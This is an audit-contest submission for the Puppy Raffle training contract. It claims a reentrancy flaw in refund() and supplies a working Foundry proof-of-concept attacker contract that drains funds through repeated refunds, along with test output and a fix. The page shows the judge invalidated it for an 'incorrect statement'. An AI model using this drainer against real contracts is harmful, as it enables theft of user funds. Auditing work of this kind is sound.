Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerability Allows Attackers to Drain All Contract Funds Through refund() Function

Root + Impact

Description

  • The refund() function is intended to let a player who previously entered the raffle recover exactly their paid entranceFee and then be removed from the active players array so they cannot claim a second refund or participate further in that round. Under normal conditions, each player should only be able to call refund() once, receive a single refund equal to their ticket cost, and free their slot in the raffle for accounting purposes.


  • The function sends Ether to msg.sender before clearing the corresponding entry in the players array, which violates the Checks-Effects-Interactions pattern and allows a malicious contract to reenter refund() from its fallback/receive function while still recorded as an active player. By recursively calling refund() before players[playerIndex] is set to address(0), an attacker can receive multiple refunds for a single ticket and drain the contract balance, resulting in direct fund loss for the protocol and honest participants.​

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // EXTERNAL CALL BEFORE STATE UPDATE
@> players[playerIndex] = address(0); // ❌ STATE CHANGE AFTER EXTERNAL CALL
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any player can deploy a malicious contract, enter the raffle by paying the entranceFee, and call refund() to trigger reentrancy whenever they choose.​

  • The vulnerability exists in a public function with no cooldowns, access controls, or rate limits, making it immediately exploitable by any raffle participant.

Impact:

  • Attacker drains all contract funds (multiple entranceFee × active players), causing permanent loss to the protocol and honest participants who lose their prize pool.

  • Renders the raffle unusable until fully drained, prevents selectWinner() payouts, and blocks withdrawFees() since contract balance doesn't match totalFees.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyExploitTest is Test {
PuppyRaffle puppyRaffle;
ReentrancyAttacker attacker;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
address player1 = address(1);
address player2 = address(2);
address player3 = address(3);
address player4 = address(4);
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
}
function testReentrancyDrainsContract() public {
// Setup: 4 legitimate players enter
address[] memory players = new address[](4);
players[0] = player1;
players[1] = player2;
players[2] = player3;
players[3] = player4;
vm.deal(player1, entranceFee);
vm.deal(player2, entranceFee);
vm.deal(player3, entranceFee);
vm.deal(player4, entranceFee);
vm.prank(player1);
puppyRaffle.enterRaffle{value: entranceFee}(_makeArray(player1));
vm.prank(player2);
puppyRaffle.enterRaffle{value: entranceFee}(_makeArray(player2));
vm.prank(player3);
puppyRaffle.enterRaffle{value: entranceFee}(_makeArray(player3));
vm.prank(player4);
puppyRaffle.enterRaffle{value: entranceFee}(_makeArray(player4));
// Deploy attacker and enter raffle
attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee);
attacker.enter{value: entranceFee}();
uint256 contractBalanceBefore = address(puppyRaffle).balance;
uint256 attackerBalanceBefore = address(attacker).balance;
console.log("Contract balance before:", contractBalanceBefore);
console.log("Attacker balance before:", attackerBalanceBefore);
// Execute attack
attacker.attack();
uint256 contractBalanceAfter = address(puppyRaffle).balance;
uint256 attackerBalanceAfter = address(attacker).balance;
console.log("Contract balance after:", contractBalanceAfter);
console.log("Attacker balance after:", attackerBalanceAfter);
console.log("Stolen amount:", attackerBalanceAfter - attackerBalanceBefore);
console.log("Reentrancy calls:", attacker.callCount());
// Verify the attack succeeded
assertGt(attackerBalanceAfter, attackerBalanceBefore);
assertLt(contractBalanceAfter, contractBalanceBefore);
assertGe(attackerBalanceAfter - attackerBalanceBefore, entranceFee);
}
function _makeArray(address addr) internal pure returns (address[] memory) {
address[] memory arr = new address[](1);
arr[0] = addr;
return arr;
}
}
contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public callCount;
uint256 public playerIndex;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function enter() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
}
function attack() external {
puppyRaffle.refund(playerIndex);
}
receive() external payable {
callCount++;
if (address(puppyRaffle).balance >= puppyRaffle.entranceFee()) {
puppyRaffle.refund(playerIndex);
}
}
}

RESULT:

forge test --match-test testReentrancyDrainsContract -vvv
[⠰] Compiling...
[⠑] Compiling 1 files with Solc 0.7.6
[⠃] Solc 0.7.6 finished in 209.03ms
Compiler run successful with warnings:
Warning (2462): Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
lib/openzeppelin-contracts/contracts/access/Ownable.sol:26:5: Warning: Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
constructor () internal {
^ (Relevant source part starts here and spans across multiple lines).
Warning (2462): Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
lib/openzeppelin-contracts/contracts/introspection/ERC165.sol:24:5: Warning: Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
constructor () internal {
^ (Relevant source part starts here and spans across multiple lines).
Warning (2462): Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol:93:5: Warning: Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
constructor (string memory name_, string memory symbol_) public {
^ (Relevant source part starts here and spans across multiple lines).
Ran 1 test for test/testReentrancyDrainsContract.sol:ReentrancyExploitTest
[PASS] testReentrancyDrainsContract() (gas: 801906)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 751.98µs (264.37µs CPU time)
Ran 1 test suite in 5.95ms (751.98µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Apply the Checks-Effects-Interactions (CEI) pattern by updating state before external calls:

payable(msg.sender).sendValue(entranceFee); // ❌ EXTERNAL CALL BEFORE STATE UPDATE
players[playerIndex] = address(0); // ❌ STATE CHANGE AFTER EXTERNAL CALL
players[playerIndex] = address(0); // ✅ STATE CHANGE FIRST
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee); // ✅ EXTERNAL CALL LAST
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!